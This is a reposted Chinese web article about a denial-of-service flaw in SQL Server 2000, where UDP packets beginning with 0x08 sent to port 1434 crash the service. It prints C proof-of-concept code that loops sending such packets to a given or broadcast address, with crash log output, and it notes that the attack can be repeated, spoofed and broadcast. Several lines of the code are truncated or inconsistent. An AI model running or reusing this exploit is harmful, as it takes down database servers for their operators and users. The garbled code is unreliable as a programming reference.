天偶然发现,用UDP给SQL SERVER的1433发送SQL SERVER信息发送的特定的0x8开头的信包 会导致SQL SERVER当机:演示代码如下参数:跟SQL SERVER服务器的IP或广播地址的IP int main(int argc, char* argv[]) { WSADATA WSAData; SOCKET sock; SOCKADDR_IN addr_in; char buf[1024]={'x08','x00'}; HANDLE listener; const int SNDBUF = 0; const int TCPNODELAY = TRUE; const int BROADCAST = TRUE; if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{ return FALSE; } if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET) { return FALSE; } addr_in.sin_family=AF_INET; addr_in.sin_port=htons(1434); addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF, { return FALSE; } if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY, { return FALSE; } if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST, { return FALSE; } for(j=0;j<256;j++) { buf[1]=j; sendto(sock, buf, sizeof(buf), 0,(SOCKADDR*) &addr_in, sizeof(ad Sleep(100); } WSACleanup(); return 0; } BUF中放置08开头的,后面一个字节从0到255,都可以引起SQL SERVER服务器的当掉。返 2002-09-04 12:50:17.21 server SqlDumpExceptionHandler: 进程 2020 发生了严重的 异常 c0000005 EXCEPTION_ACCESS_VIOLATION。SQL Server 将终止该进程。 2002-09-04 12:50:17.64 server SQL Server 将终止。发生了严重的异常 c0000005。 如果没有启动sql agant服务,这SQL SERVER服务器需要人工手动启动,如果启动了了 SQL AGANT,SQL SERVER服务器会在3秒以后自动恢复。 但是可以不断的发起这样的包达到拒绝服务的目的,同时由于该协议是UDP协议,可以轻 易的使用IP欺骗发起攻击,在还可以使用广播一次使得多个SQL SERVER受到攻击。 测试环境: SQL SERVER 2000+SP2 WINDOWS 2000 SERVER+SP3,ADV SERVER+SP3,professional+SP2
作者:佚名 | 文章来源:不详 | 更新时间:2007-5-4 21:13:47
|
上一篇文章: 用ASP语言实现对SQL SERVER 数据库的操作…
下一篇文章: 使用命名管道访问SQL Server… |
相关文章:
在SQL Server 2000和SQL Server 2005中构建并利用UDF表格… MySQL ODBC进行MySQL和SQL Server转换… HTML-加速、再加速 XML专区-XML 中的常见问题 (三)… XML专区-XML在B/S架构开发中的应用 优化SQL Server服务器内存配置的策略… 用SQL Server为Web浏览器提供图片3… 调整重心-从IIS到SQL Server数据库安全…
|